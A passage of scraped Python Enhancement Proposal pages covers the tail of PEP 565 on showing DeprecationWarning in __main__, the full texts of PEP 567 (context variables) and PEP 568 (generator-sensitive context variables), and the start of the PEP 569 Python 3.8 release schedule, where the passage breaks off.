override is applied directly to the loaded warnings module, not to the PYTHONWARNINGS environment variable. The standard library doesn’t provide a straightforward way to opt-in to seeing all warnings emitted by a particular dependency prior to upgrading it (the third-party warn module [3] does provide this, but enabling it involves monkeypatching the standard library’s warnings module). When software has been factored out into support modules, but those modules have little or no automated test coverage, re-enabling deprecation warnings by default in __main__ isn’t likely to help find API compatibility problems. Near term, the best currently available answer is to run affected applications with PYTHONWARNINGS=default::DeprecationWarning or python -W default::DeprecationWarning and pay attention to their stderr output. Longer term, this is really a question for researchers working on static analysis of Python code: how to reliably find usage of deprecated APIs, and how to infer that an API or parameter is deprecated based on warnings.warn calls, without actually running either the code providing the API or the code accessing it. While these are real problems with the status quo, they’re excluded from consideration in this PEP because they’re going to require more complex solutions than a single additional entry in the default warnings filter, and resolving them at least potentially won’t require going through the PEP process. For anyone interested in pursuing them further, the first two would be unittest module enhancement requests, the third would be a warnings module enhancement request, while the last would only require a PEP if inferring API deprecations from their contents was deemed to be an intractable code analysis problem, and an explicit function and parameter marker syntax in annotations was proposed instead. The CPython reference implementation will also include the following related changes in 3.7: a new -X dev command line option that combines several developer centric settings (including -Wd) into one command line flag: https://github.com/python/cpython/issues/76224 changing the behaviour in debug builds to show more of the warnings that are off by default in regular interpreter builds: https://github.com/python/cpython/issues/76269 Independently of the proposed changes to the default filters in this PEP, issue 32229 [7] is a proposal to add a warnings.hide_warnings API to make it simpler for application developers to hide warnings during normal operation, while easily making them visible when testing. References [1] stdlib-sig thread proposing the original default filter change (https://mail.python.org/pipermail/stdlib-sig/2009-November/000789.html) [2] Python 2.7 notification of the default warnings filter change (https://docs.python.org/3/whatsnew/2.7.html#changes-to-the-handling-of-deprecation-warnings) [3] Emitting warnings based on the location of the warning itself (https://pypi.org/project/warn/) [4] GitHub PR for PEP 565 implementation (https://github.com/python/cpython/pull/4458) [5] Tracker issue for PEP 565 implementation (https://github.com/python/cpython/issues/76156) [6] IPython’s DeprecationWarning auto-configuration (https://github.com/ipython/ipython/blob/6.2.x/IPython/core/interactiveshell.py#L619) [7] warnings.hide_warnings API proposal (https://github.com/python/cpython/issues/76410) First python-dev discussion thread Second python-dev discussion thread Copyright This document has been placed in the public domain.

Final

PEP 565 – Show DeprecationWarning in __main__

Standards Track

In Python 2.7 and Python 3.2, the default warning filters were updated to hide DeprecationWarning by default, such that deprecation warnings in development tools that were themselves written in Python (e.g. linters, static analysers, test runners, code generators), as well as any other applications that merely happened to be written in Python, wouldn’t be visible to their users unless those users explicitly opted in to seeing them.

PEP 567 – Context Variables Author: Yury Selivanov <yury at edgedb.com> Status: Final Type: Standards Track Created: 12-Dec-2017 Python-Version: 3.7 Post-History: 12-Dec-2017, 28-Dec-2017, 16-Jan-2018 Table of Contents Abstract API Design and Implementation Revisions Rationale Introduction Specification contextvars.ContextVar contextvars.Token contextvars.Context asyncio Implementation Summary of the New APIs Python API C API Rejected Ideas Replicating threading.local() interface Replacing Token with ContextVar.unset() Having Token.reset() instead of ContextVar.reset() Making Context objects picklable Making Context a MutableMapping Having initial values for ContextVars Backwards Compatibility Examples Converting code that uses threading.local() Offloading execution to other threads Reference Implementation Acceptance References Acknowledgments Copyright Abstract This PEP proposes a new contextvars module and a set of new CPython C APIs to support context variables. This concept is similar to thread-local storage (TLS), but, unlike TLS, it also allows correctly keeping track of values per asynchronous task, e.g. asyncio.Task. This proposal is a simplified version of PEP 550. The key difference is that this PEP is concerned only with solving the case for asynchronous tasks, not for generators. There are no proposed modifications to any built-in types or to the interpreter. This proposal is not strictly related to Python Context Managers. Although it does provide a mechanism that can be used by Context Managers to store their state. API Design and Implementation Revisions In Python 3.7.1 the signatures of all context variables C APIs were changed to use PyObject * pointers instead of PyContext *, PyContextVar *, and PyContextToken *, e.g.: // in 3.7.0: PyContext *PyContext_New(void); // in 3.7.1+: PyObject *PyContext_New(void); See [6] for more details. The C API section of this PEP was updated to reflect the change. Rationale Thread-local variables are insufficient for asynchronous tasks that execute concurrently in the same OS thread. Any context manager that saves and restores a context value using threading.local() will have its context values bleed to other code unexpectedly when used in async/await code. A few examples where having a working context local storage for asynchronous code is desirable: Context managers like decimal contexts and numpy.errstate. Request-related data, such as security tokens and request data in web applications, language context for gettext, etc. Profiling, tracing, and logging in large code bases. Introduction The PEP proposes a new mechanism for managing context variables. The key classes involved in this mechanism are contextvars.Context and contextvars.ContextVar. The PEP also proposes some policies for using the mechanism around asynchronous tasks. The proposed mechanism for accessing context variables uses the ContextVar class. A module (such as decimal) that wishes to use the new mechanism should: declare a module-global variable holding a ContextVar to serve as a key; access the current value via the get() method on the key variable; modify the current value via the set() method on the key variable. The notion of “current value” deserves special consideration: different asynchronous tasks that exist and execute concurrently may have different values for the same key. This idea is well known from thread-local storage but in this case the locality of the value is not necessarily bound to a thread. Instead, there is the notion of the “current Context” which is stored in thread-local storage. Manipulation of the current context is the responsibility of the task framework, e.g. asyncio. A Context is a mapping of ContextVar objects to their values. The Context itself exposes the abc.Mapping interface (not abc.MutableMapping!), so it cannot be modified directly. To set a new value for a context variable in a Context object, the user needs to: make the Context object “current” using the Context.run() method; use ContextVar.set() to set a new value for the context variable. The ContextVar.get() method looks for the variable in the current Context object using self as a key. It is not possible to get a direct reference to the current Context object, but it is possible to obtain a shallow copy of it using the contextvars.copy_context() function. This ensures that the caller of Context.run() is the sole owner of its Context object. Specification A new standard library module contextvars is added with the following APIs: The copy_context() -> Context function is used to get a copy of the current Context object for the current OS thread. The ContextVar class to declare and access context variables. The Context class encapsulates context state. Every OS thread stores a reference to its current Context instance. It is not possible to control that reference directly. Instead, the Context.run(callable, *args, **kwargs) method is used to run Python code in another context. contextvars.ContextVar The ContextVar class has the following constructor signature: ContextVar(name, *, default=_NO_DEFAULT). The name parameter is used for introspection and debug purposes, and is exposed as a read-only ContextVar.name attribute. The default parameter is optional. Example: # Declare a context variable 'var' with the default value 42. var = ContextVar('var', default=42) (The _NO_DEFAULT is an internal sentinel object used to detect if the default value was provided.) ContextVar.get(default=_NO_DEFAULT) returns a value for the context variable for the current Context: # Get the value of `var`. var.get() If there is no value for the variable in the current context, ContextVar.get() will: return the value of the default argument of the get() method, if provided; or return the default value for the context variable, if provided; or raise a LookupError. ContextVar.set(value) -> Token is used to set a new value for the context variable in the current Context: # Set the variable 'var' to 1 in the current context. var.set(1) ContextVar.reset(token) is used to reset the variable in the current context to the value it had before the set() operation that created the token (or to remove the variable if it was not set): # Assume: var.get(None) is None # Set 'var' to 1: token = var.set(1) try: # var.get() == 1 finally: var.reset(token) # After reset: var.get(None) is None, # i.e. 'var' was removed from the current context. The ContextVar.reset() method raises: a ValueError if it is called with a token object created by another variable; a ValueError if the current Context object does not match the one where the token object was created; a RuntimeError if the token object has already been used once to reset the variable. contextvars.Token contextvars.Token is an opaque object that should be used to restore the ContextVar to its previous value, or to remove it from the context if the variable was not set before. It can be created only by calling ContextVar.set(). For debug and introspection purposes it has: a read-only attribute Token.var pointing to the variable that created the token; a read-only attribute Token.old_value set to the value the variable had before the set() call, or to Token.MISSING if the variable wasn’t set before. contextvars.Context Context object is a mapping of context variables to values. Context() creates an empty context. To get a copy of the current Context for the current OS thread, use the contextvars.copy_context() method: ctx = contextvars.copy_context() To run Python code in some Context, use Context.run() method: ctx.run(function) Any changes to any context variables that function causes will be contained in the ctx context: var = ContextVar('var') var.set('spam') def main(): # 'var' was set to 'spam' before # calling 'copy_context()' and 'ctx.run(main)', so: # var.get() == ctx[var] == 'spam' var.set('ham') # Now, after setting 'var' to 'ham': # var.get() == ctx[var] == 'ham' ctx = copy_context() # Any changes that the 'main' function makes to 'var' # will be contained in 'ctx'. ctx.run(main) # The 'main()' function was run in the 'ctx' context, # so changes to 'var' are contained in it: # ctx[var] == 'ham' # However, outside of 'ctx', 'var' is still set to 'spam': # var.get() == 'spam' Context.run() raises a RuntimeError when called on the same context object from more than one OS thread, or when called recursively. Context.copy() returns a shallow copy of the context object. Context objects implement the collections.abc.Mapping ABC. This can be used to introspect contexts: ctx = contextvars.copy_context() # Print all context variables and their values in 'ctx': print(ctx.items()) # Print the value of 'some_variable' in context 'ctx': print(ctx[some_variable]) Note that all Mapping methods, including Context.__getitem__ and Context.get, ignore default values for context variables (i.e. ContextVar.default). This means that for a variable var that was created with a default value and was not set in the context: context[var] raises a KeyError, var in context returns False, the variable isn’t included in context.items(), etc. asyncio asyncio uses Loop.call_soon(), Loop.call_later(), and Loop.call_at() to schedule the asynchronous execution of a function. asyncio.Task uses call_soon() to run the wrapped coroutine. We modify Loop.call_{at,later,soon} and Future.add_done_callback() to accept the new optional context keyword-only argument, which defaults to the current context: def call_soon(self, callback, *args, context=None): if context is None: context = contextvars.copy_context() # ... some time later context.run(callback, *args) Tasks in asyncio need to maintain their own context that they inherit from the point they were created at. asyncio.Task is modified as follows: class Task: def __init__(self, coro): ... # Get the current context snapshot. self._context = contextvars.copy_context() self._loop.call_soon(self._step, context=self._context) def _step(self, exc=None): ... # Every advance of the wrapped coroutine is done in # the task's context. self._loop.call_soon(self._step, context=self._context) ... Implementation This section explains high-level implementation details in pseudo-code. Some optimizations are omitted to keep this section short and clear. The Context mapping is implemented using an immutable dictionary. This allows for a O(1) implementation of the copy_context() function. The reference implementation implements the immutable dictionary using Hash Array Mapped Tries (HAMT); see PEP 550 for analysis of HAMT performance [1]. For the purposes of this section, we implement an immutable dictionary using a copy-on-write approach and the built-in dict type: class _ContextData: def __init__(self): self._mapping = dict() def __getitem__(self, key): return self._mapping[key] def __contains__(self, key): return key in self._mapping def __len__(self): return len(self._mapping) def __iter__(self): return iter(self._mapping) def set(self, key, value): copy = _ContextData() copy._mapping = self._mapping.copy() copy._mapping[key] = value return copy def delete(self, key): copy = _ContextData() copy._mapping = self._mapping.copy() del copy._mapping[key] return copy Every OS thread has a reference to the current Context object: class PyThreadState: context: Context contextvars.Context is a wrapper around _ContextData: class Context(collections.abc.Mapping): _data: _ContextData _prev_context: Optional[Context] def __init__(self): self._data = _ContextData() self._prev_context = None def run(self, callable, *args, **kwargs): if self._prev_context is not None: raise RuntimeError( f'cannot enter context: {self} is already entered') ts: PyThreadState = PyThreadState_Get() self._prev_context = ts.context try: ts.context = self return callable(*args, **kwargs) finally: ts.context = self._prev_context self._prev_context = None def copy(self): new = Context() new._data = self._data return new # Implement abstract Mapping.__getitem__ def __getitem__(self, var): return self._data[var] # Implement abstract Mapping.__contains__ def __contains__(self, var): return var in self._data # Implement abstract Mapping.__len__ def __len__(self): return len(self._data) # Implement abstract Mapping.__iter__ def __iter__(self): return iter(self._data) # The rest of the Mapping methods are implemented # by collections.abc.Mapping. contextvars.copy_context() is implemented as follows: def copy_context(): ts: PyThreadState = PyThreadState_Get() return ts.context.copy() contextvars.ContextVar interacts with PyThreadState.context directly: class ContextVar: def __init__(self, name, *, default=_NO_DEFAULT): self._name = name self._default = default @property def name(self): return self._name def get(self, default=_NO_DEFAULT): ts: PyThreadState = PyThreadState_Get() try: return ts.context[self] except KeyError: pass if default is not _NO_DEFAULT: return default if self._default is not _NO_DEFAULT: return self._default raise LookupError def set(self, value): ts: PyThreadState = PyThreadState_Get() data: _ContextData = ts.context._data try: old_value = data[self] except KeyError: old_value = Token.MISSING updated_data = data.set(self, value) ts.context._data = updated_data return Token(ts.context, self, old_value) def reset(self, token): if token._used: raise RuntimeError("Token has already been used once") if token._var is not self: raise ValueError( "Token was created by a different ContextVar") ts: PyThreadState = PyThreadState_Get() if token._context is not ts.context: raise ValueError( "Token was created in a different Context") if token._old_value is Token.MISSING: ts.context._data = ts.context._data.delete(token._var) else: ts.context._data = ts.context._data.set(token._var, token._old_value) token._used = True Note that the in the reference implementation, ContextVar.get() has an internal cache for the most recent value, which allows to bypass a hash lookup. This is similar to the optimization the decimal module implements to retrieve its context from PyThreadState_GetDict(). See PEP 550 which explains the implementation of the cache in great detail. The Token class is implemented as follows: class Token: MISSING = object() def __init__(self, context, var, old_value): self._context = context self._var = var self._old_value = old_value self._used = False @property def var(self): return self._var @property def old_value(self): return self._old_value Summary of the New APIs Python API A new contextvars module with ContextVar, Context, and Token classes, and a copy_context() function. asyncio.Loop.call_at(), asyncio.Loop.call_later(), asyncio.Loop.call_soon(), and asyncio.Future.add_done_callback() run callback functions in the context they were called in. A new context keyword-only parameter can be used to specify a custom context. asyncio.Task is modified internally to maintain its own context. C API PyObject * PyContextVar_New(char *name, PyObject *default): create a ContextVar object. The default argument can be NULL, which means that the variable has no default value. int PyContextVar_Get(PyObject *, PyObject *default_value, PyObject **value): return -1 if an error occurs during the lookup, 0 otherwise. If a value for the context variable is found, it will be set to the value pointer. Otherwise, value will be set to default_value when it is not NULL. If default_value is NULL, value will be set to the default value of the variable, which can be NULL too. value is always a new reference. PyObject * PyContextVar_Set(PyObject *, PyObject *): set the value of the variable in the current context. PyContextVar_Reset(PyObject *, PyObject *): reset the value of the context variable. PyObject * PyContext_New(): create a new empty context. PyObject * PyContext_Copy(PyObject *): return a shallow copy of the passed context object. PyObject * PyContext_CopyCurrent(): get a copy of the current context. int PyContext_Enter(PyObject *) and int PyContext_Exit(PyObject *) allow to set and restore the context for the current OS thread. It is required to always restore the previous context:PyObject *old_ctx = PyContext_Copy(); if (old_ctx == NULL) goto error; if (PyContext_Enter(new_ctx)) goto error; // run some code if (PyContext_Exit(old_ctx)) goto error; Rejected Ideas Replicating threading.local() interface Please refer to PEP 550 where this topic is covered in detail: [2]. Replacing Token with ContextVar.unset() The Token API allows to get around having a ContextVar.unset() method, which is incompatible with chained contexts design of PEP 550. Future compatibility with PEP 550 is desired in case there is demand to support context variables in generators and asynchronous generators. The Token API also offers better usability: the user does not have to special-case absence of a value. Compare: token = cv.set(new_value) try: # cv.get() is new_value finally: cv.reset(token) with: _deleted = object() old = cv.get(default=_deleted) try: cv.set(blah) # code finally: if old is _deleted: cv.unset() else: cv.set(old) Having Token.reset() instead of ContextVar.reset() Nathaniel Smith suggested to implement the ContextVar.reset() method directly on the Token class, so instead of: token = var.set(value) # ... var.reset(token) we would write: token = var.set(value) # ... token.reset() Having Token.reset() would make it impossible for a user to attempt to reset a variable with a token object created by another variable. This proposal was rejected for the reason of ContextVar.reset() being clearer to the human reader of the code which variable is being reset. Making Context objects picklable Proposed by Antoine Pitrou, this could enable transparent cross-process use of Context objects, so the Offloading execution to other threads example would work with a ProcessPoolExecutor too. Enabling this is problematic because of the following reasons: ContextVar objects do not have __module__ and __qualname__ attributes, making straightforward pickling of Context objects impossible. This is solvable by modifying the API to either auto detect the module where a context variable is defined, or by adding a new keyword-only “module” parameter to ContextVar constructor. Not all context variables refer to picklable objects. Making a ContextVar picklable must be an opt-in. Given the time frame of the Python 3.7 release schedule it was decided to defer this proposal to Python 3.8. Making Context a MutableMapping Making the Context class implement the abc.MutableMapping interface would mean that it is possible to set and unset variables using Context[var] = value and del Context[var] operations. This proposal was deferred to Python 3.8+ because of the following: If in Python 3.8 it is decided that generators should support context variables (see PEP 550 and PEP 568), then Context would be transformed into a chain-map of context variables mappings (as every generator would have its own mapping). That would make mutation operations like Context.__delitem__ confusing, as they would operate only on the topmost mapping of the chain. Having a single way of mutating the context (ContextVar.set() and ContextVar.reset() methods) makes the API more straightforward.For example, it would be non-obvious why the below code fragment does not work as expected: var = ContextVar('var') ctx = copy_context() ctx[var] = 'value' print(ctx[var]) # Prints 'value' print(var.get()) # Raises a LookupError While the following code would work: ctx = copy_context() def func(): ctx[var] = 'value' # Contrary to the previous example, this would work # because 'func()' is running within 'ctx'. print(ctx[var]) print(var.get()) ctx.run(func) If Context was mutable it would mean that context variables could be mutated separately (or concurrently) from the code that runs within the context. That would be similar to obtaining a reference to a running Python frame object and modifying its f_locals from another OS thread. Having one single way to assign values to context variables makes contexts conceptually simpler and more predictable, while keeping the door open for future performance optimizations. Having initial values for ContextVars Nathaniel Smith proposed to have a required initial_value keyword-only argument for the ContextVar constructor. The main argument against this proposal is that for some types there is simply no sensible “initial value” except None. E.g. consider a web framework that stores the current HTTP request object in a context variable. With the current semantics it is possible to create a context variable without a default value: # Framework: current_request: ContextVar[Request] = \ ContextVar('current_request') # Later, while handling an HTTP request: request: Request = current_request.get() # Work with the 'request' object: return request.method Note that in the above example there is no need to check if request is None. It is simply expected that the framework always sets the current_request variable, or it is a bug (in which case current_request.get() would raise a LookupError). If, however, we had a required initial value, we would have to guard against None values explicitly: # Framework: current_request: ContextVar[Optional[Request]] = \ ContextVar('current_request', initial_value=None) # Later, while handling an HTTP request: request: Optional[Request] = current_request.get() # Check if the current request object was set: if request is None: raise RuntimeError # Work with the 'request' object: return request.method Moreover, we can loosely compare context variables to regular Python variables and to threading.local() objects. Both of them raise errors on failed lookups (NameError and AttributeError respectively). Backwards Compatibility This proposal preserves 100% backwards compatibility. Libraries that use threading.local() to store context-related values, currently work correctly only for synchronous code. Switching them to use the proposed API will keep their behavior for synchronous code unmodified, but will automatically enable support for asynchronous code. Examples Converting code that uses threading.local() A typical code fragment that uses threading.local() usually looks like the following: class PrecisionStorage(threading.local): # Subclass threading.local to specify a default value. value = 0.0 precision = PrecisionStorage() # To set a new precision: precision.value = 0.5 # To read the current precision: print(precision.value) Such code can be converted to use the contextvars module: precision = contextvars.ContextVar('precision', default=0.0) # To set a new precision: precision.set(0.5) # To read the current precision: print(precision.get()) Offloading execution to other threads It is possible to run code in a separate OS thread using a copy of the current thread context: executor = ThreadPoolExecutor() current_context = contextvars.copy_context() executor.submit(current_context.run, some_function) Reference Implementation The reference implementation can be found here: [3]. See also issue 32436 [4]. Acceptance PEP 567 was accepted by Guido on Monday, January 22, 2018 [5]. The reference implementation was merged on the same day. References [1] PEP 550 [2] PEP 550 [3] https://github.com/python/cpython/pull/5027 [4] https://bugs.python.org/issue32436 [5] https://mail.python.org/pipermail/python-dev/2018-January/151878.html [6] https://bugs.python.org/issue34762 Acknowledgments I thank Guido van Rossum, Nathaniel Smith, Victor Stinner, Elvis Pranskevichus, Alyssa Coghlan, Antoine Pitrou, INADA Naoki, Paul Moore, Eric Snow, Greg Ewing, and many others for their feedback, ideas, edits, criticism, code reviews, and discussions around this PEP. Copyright This document has been placed in the public domain.

Final

PEP 567 – Context Variables

Standards Track

This PEP proposes a new contextvars module and a set of new CPython C APIs to support context variables. This concept is similar to thread-local storage (TLS), but, unlike TLS, it also allows correctly keeping track of values per asynchronous task, e.g. asyncio.Task.

PEP 568 – Generator-sensitivity for Context Variables Author: Nathaniel J. Smith <njs at pobox.com> Status: Deferred Type: Standards Track Created: 04-Jan-2018 Python-Version: 3.8 Post-History: Table of Contents Abstract Rationale High-level summary Specification Review of PEP 567 Changes from PEP 567 to this PEP Comparison to PEP 550 Implementation notes Copyright Abstract Context variables provide a generic mechanism for tracking dynamic, context-local state, similar to thread-local storage but generalized to cope work with other kinds of thread-like contexts, such as asyncio Tasks. PEP 550 proposed a mechanism for context-local state that was also sensitive to generator context, but this was pretty complicated, so the BDFL requested it be simplified. The result was PEP 567, which is targeted for inclusion in 3.7. This PEP then extends PEP 567’s machinery to add generator context sensitivity. This PEP is starting out in the “deferred” status, because there isn’t enough time to give it proper consideration before the 3.7 feature freeze. The only goal right now is to understand what would be required to add generator context sensitivity in 3.8, so that we can avoid shipping something in 3.7 that would rule it out by accident. (Ruling it out on purpose can wait until 3.8 ;-).) Rationale [Currently the point of this PEP is just to understand how this would work, with discussion of whether it’s a good idea deferred until after the 3.7 feature freeze. So rationale is TBD.] High-level summary Instead of holding a single Context, the threadstate now holds a ChainMap of Contexts. ContextVar.get and ContextVar.set are backed by the ChainMap. Generators and async generators each have an associated Context that they push onto the ChainMap while they’re running to isolate their context-local changes from their callers, though this can be overridden in cases like @contextlib.contextmanager where “leaking” context changes from the generator into its caller is desirable. Specification Review of PEP 567 Let’s start by reviewing how PEP 567 works, and then in the next section we’ll describe the differences. In PEP 567, a Context is a Mapping from ContextVar objects to arbitrary values. In our pseudo-code here we’ll pretend that it uses a dict for backing storage. (The real implementation uses a HAMT, which is semantically equivalent to a dict but with different performance trade-offs.): class Context(collections.abc.Mapping): def __init__(self): self._data = {} self._in_use = False def __getitem__(self, key): return self._data[key] def __iter__(self): return iter(self._data) def __len__(self): return len(self._data) At any given moment, the threadstate holds a current Context (initialized to an empty Context when the threadstate is created); we can use Context.run to temporarily switch the current Context: # Context.run def run(self, fn, *args, **kwargs): if self._in_use: raise RuntimeError("Context already in use") tstate = get_thread_state() old_context = tstate.current_context tstate.current_context = self self._in_use = True try: return fn(*args, **kwargs) finally: state.current_context = old_context self._in_use = False We can fetch a shallow copy of the current Context by calling copy_context; this is commonly used when spawning a new task, so that the child task can inherit context from its parent: def copy_context(): tstate = get_thread_state() new_context = Context() new_context._data = dict(tstate.current_context) return new_context In practice, what end users generally work with is ContextVar objects, which also provide the only way to mutate a Context. They work with a utility class Token, which can be used to restore a ContextVar to its previous value: class Token: MISSING = sentinel_value() # Note: constructor is private def __init__(self, context, var, old_value): self._context = context self.var = var self.old_value = old_value # XX: PEP 567 currently makes this a method on ContextVar, but # I'm going to propose it switch to this API because it's simpler. def reset(self): # XX: should we allow token reuse? # XX: should we allow tokens to be used if the saved # context is no longer active? if self.old_value is self.MISSING: del self._context._data[self.context_var] else: self._context._data[self.context_var] = self.old_value # XX: the handling of defaults here uses the simplified proposal from # https://mail.python.org/pipermail/python-dev/2018-January/151596.html # This can be updated to whatever we settle on, it was just less # typing this way :-) class ContextVar: def __init__(self, name, *, default=None): self.name = name self.default = default def get(self): context = get_thread_state().current_context return context.get(self, self.default) def set(self, new_value): context = get_thread_state().current_context token = Token(context, self, context.get(self, Token.MISSING)) context._data[self] = new_value return token Changes from PEP 567 to this PEP In general, Context remains the same. However, now instead of holding a single Context object, the threadstate stores a stack of them. This stack acts just like a collections.ChainMap, so we’ll use that in our pseudocode. Context.run then becomes: # Context.run def run(self, fn, *args, **kwargs): if self._in_use: raise RuntimeError("Context already in use") tstate = get_thread_state() old_context_stack = tstate.current_context_stack tstate.current_context_stack = ChainMap([self]) # changed self._in_use = True try: return fn(*args, **kwargs) finally: state.current_context_stack = old_context_stack self._in_use = False Aside from some updated variables names (e.g., tstate.current_context → tstate.current_context_stack), the only change here is on the marked line, which now wraps the context in a ChainMap before stashing it in the threadstate. We also add a Context.push method, which is almost exactly like Context.run, except that it temporarily pushes the Context onto the existing stack, instead of temporarily replacing the whole stack: # Context.push def push(self, fn, *args, **kwargs): if self._in_use: raise RuntimeError("Context already in use") tstate = get_thread_state() tstate.current_context_stack.maps.insert(0, self) # different from run self._in_use = True try: return fn(*args, **kwargs) finally: tstate.current_context_stack.maps.pop(0) # different from run self._in_use = False In most cases, we don’t expect push to be used directly; instead, it will be used implicitly by generators. Specifically, every generator object and async generator object gains a new attribute .context. When an (async) generator object is created, this attribute is initialized to an empty Context (self.context = Context()). This is a mutable attribute; it can be changed by user code. But trying to set it to anything that isn’t a Context object or None will raise an error. Whenever we enter an generator via __next__, send, throw, or close, or enter an async generator by calling one of those methods on its __anext__, asend, athrow, or aclose coroutines, then its .context attribute is checked, and if non-None, is automatically pushed: # GeneratorType.__next__ def __next__(self): if self.context is not None: return self.context.push(self.__real_next__) else: return self.__real_next__() While we don’t expect people to use Context.push often, making it a public API preserves the principle that a generator can always be rewritten as an explicit iterator class with equivalent semantics. Also, we modify contextlib.(async)contextmanager to always set its (async) generator objects’ .context attribute to None: # contextlib._GeneratorContextManagerBase.__init__ def __init__(self, func, args, kwds): self.gen = func(*args, **kwds) self.gen.context = None # added ... This makes sure that code like this continues to work as expected: @contextmanager def decimal_precision(prec): with decimal.localcontext() as ctx: ctx.prec = prec yield with decimal_precision(2): ... The general idea here is that by default, every generator object gets its own local context, but if users want to explicitly get some other behavior then they can do that. Otherwise, things mostly work as before, except that we go through and swap everything to use the threadstate ChainMap instead of the threadstate Context. In full detail: The copy_context function now returns a flattened copy of the “effective” context. (As an optimization, the implementation might choose to do this flattening lazily, but if so this will be made invisible to the user.) Compared to our previous implementation above, the only change here is that tstate.current_context has been replaced with tstate.current_context_stack: def copy_context() -> Context: tstate = get_thread_state() new_context = Context() new_context._data = dict(tstate.current_context_stack) return new_context Token is unchanged, and the changes to ContextVar.get are trivial: # ContextVar.get def get(self): context_stack = get_thread_state().current_context_stack return context_stack.get(self, self.default) ContextVar.set is a little more interesting: instead of going through the ChainMap machinery like everything else, it always mutates the top Context in the stack, and – crucially! – sets up the returned Token to restore its state later. This allows us to avoid accidentally “promoting” values between different levels in the stack, as would happen if we did old = var.get(); ...; var.set(old): # ContextVar.set def set(self, new_value): top_context = get_thread_state().current_context_stack.maps[0] token = Token(top_context, self, top_context.get(self, Token.MISSING)) top_context._data[self] = new_value return token And finally, to allow for introspection of the full context stack, we provide a new function contextvars.get_context_stack: def get_context_stack() -> List[Context]: return list(get_thread_state().current_context_stack.maps) That’s all. Comparison to PEP 550 The main difference from PEP 550 is that it reified what we’re calling “contexts” and “context stacks” as two different concrete types (LocalContext and ExecutionContext respectively). This led to lots of confusion about what the differences were, and which object should be used in which places. This proposal simplifies things by only reifying the Context, which is “just a dict”, and makes the “context stack” an unnamed feature of the interpreter’s runtime state – though it is still possible to introspect it using get_context_stack, for debugging and other purposes. Implementation notes Context will continue to use a HAMT-based mapping structure under the hood instead of dict, since we expect that calls to copy_context are much more common than ContextVar.set. In almost all cases, copy_context will find that there’s only one Context in the stack (because it’s rare for generators to spawn new tasks), and can simply re-use it directly; in other cases HAMTs are cheap to merge and this can be done lazily. Rather than using an actual ChainMap object, we’ll represent the context stack using some appropriate structure – the most appropriate options are probably either a bare list with the “top” of the stack being the end of the list so we can use push/pop, or else an intrusive linked list (PyThreadState → Context → Context → …), with the “top” of the stack at the beginning of the list to allow efficient push/pop. A critical optimization in PEP 567 is the caching of values inside ContextVar. Switching from a single context to a context stack makes this a little bit more complicated, but not too much. Currently, we invalidate the cache whenever the threadstate’s current Context changes (on thread switch, and when entering/exiting Context.run). The simplest approach here would be to invalidate the cache whenever stack changes (on thread switch, when entering/exiting Context.run, and when entering/leaving Context.push). The main effect of this is that iterating a generator will invalidate the cache. It seems unlikely that this will cause serious problems, but if it does, then I think it can be avoided with a cleverer cache key that recognizes that pushing and then popping a Context returns the threadstate to its previous state. (Idea: store the cache key for a particular stack configuration in the topmost Context.) It seems unavoidable in this design that uncached get will be O(n), where n is the size of the context stack. However, n will generally be very small – it’s roughly the number of nested generators, so usually n=1, and it will be extremely rare to see n greater than, say, 5. At worst, n is bounded by the recursion limit. In addition, we can expect that in most cases of deep generator recursion, most of the Contexts in the stack will be empty, and thus can be skipped extremely quickly during lookup. And for repeated lookups the caching mechanism will kick in. So it’s probably possible to construct some extreme case where this causes performance problems, but ordinary code should be essentially unaffected. Copyright This document has been placed in the public domain.

Deferred

PEP 568 – Generator-sensitivity for Context Variables

Standards Track

Context variables provide a generic mechanism for tracking dynamic, context-local state, similar to thread-local storage but generalized to cope work with other kinds of thread-like contexts, such as asyncio Tasks. PEP 550 proposed a mechanism for context-local state that was also sensitive to generator context, but this was pretty complicated, so the BDFL requested it be simplified. The result was PEP 567, which is targeted for inclusion in 3.7. This PEP then extends PEP 567’s machinery to add generator context sensitivity.

PEP 569 – Python 3.8 Release Schedule Author: Łukasz Langa <lukasz at python.org> Status: Active Type: Informational Topic: Release Created: 27-Jan-2018 Python-Version: 3.8 Table of Contents Abstract Release Manager and Crew 3.8 Lifespan Release Schedule 3.8.0 schedule Bugfix releases Source-only security fix releases Features for 3.8 Copyright Abstract This document describes the development and release schedule for Python 3.8. The schedule primarily concerns itself with PEP-sized items. Release Manager and Crew 3.8 Release Manager: Łukasz Langa Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Julien Palard 3.8 Lifespan 3.8 will receive bugfix updates approximately every 2 months for approximately 18 months. Some time after the release of 3.9.0 final, the ninth and final 3.8 bugfix update will be released. After that, it is expected that security updates (source only) will be released until 5 years after the release of 3.8 final, so until approximately October 2024. Release Schedule 3.8.0 schedule 3.8 development begins: Monday, 2018-01-29 3.8.0 alpha 1: Sunday, 2019-02-03 3.8.0 alpha 2: Monday, 2019-02-25 3.8.0 alpha 3: Monday, 2019-03-25 3.8.0 alpha 4: Monday, 2019-05-06 3.8.0 beta 1: Tuesday, 2019-06-04 (No new features beyond this point.) 3.8.0 beta 2: Thursday, 2019-07-04 3.8.0 beta 3: Monday, 2019-07-29 3.8.0 beta 4: Friday, 2019-08-30 3.8.0 candidate 1: Tuesday, 2019-10-01 3.8.0 final: Monday, 2019-10-14 Bugfix releases 3.8.1rc1: Tuesday, 2019-12-10 3.8.1: Wednesday, 2019-12-18 3.8.2rc1: Monday, 2020-02-10 3.8.2rc2: Monday, 2020-02-17 3.8.2: Monday, 2020-02-24 3.8.3rc1: Wednesday, 2020-04-29 3.8.3: Wednesday, 2020-05-13 3.8.4rc1: Tuesday, 2020-06-30 3.8.4: Monday, 2020-07-13 3.8.5: Monday, 2020-07-20 (security hotfix) 3.8.6rc1: Tuesday, 2020-09-08 3.8.6: Thursday, 2020-09-24 3.8.7rc1: Monday, 2020-12-07 3.8.7: Monday, 2020-12-21 3.8.8rc1: Tuesday, 2021-02-16 3.8.8: Friday, 2021-02-19 3.8.9: Friday, 2021-04-02 (security hotfix) 3.8.10: Monday, 2021-05-03 (final regular bugfix release with binary installers) Source-only security fix releases Provided irregularly on an “as-needed” basis until October 2024. 3.8.11: Monday, 2021-06-28 3.8.12: Monday, 2021-08-30 3.8.13: Wednesday, 2022-03-16 3.8.14: Tuesday, 2022-09-06 3.8.15: Tuesday, 2022-10-11 3.8.16: Tuesday, 2022-12-06 3.8.17: Tuesday, 2023-06-06 3.8.18: Thursday, 2023-08-24 Features for 3.8 Some of the notable features of Python 3.8 include: PEP 570, Positional-only arguments PEP 572, Assignment Expressions PEP 574, Pickle protocol 5 with 